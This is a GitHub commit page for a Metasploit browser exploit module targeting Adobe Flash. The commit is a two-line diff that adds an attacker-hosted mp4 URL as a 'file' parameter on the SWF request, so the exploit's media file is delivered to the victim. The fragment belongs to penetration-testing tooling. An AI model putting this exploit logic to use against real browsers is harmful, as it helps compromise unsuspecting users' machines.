Skip to content

Commit 933ac88

Browse files
committed
Missing the file param that's needed to download the mp4
1 parent d91b412 commit 933ac88

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/windows/browser/adobe_flash_sps.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -147,7 +147,8 @@ def on_request_uri(cli, request)
147147
end
148148

149149
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
150-
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
150+
mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
151+
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
151152

152153
html = %Q|
153154
<html>

0 commit comments

Comments
 (0)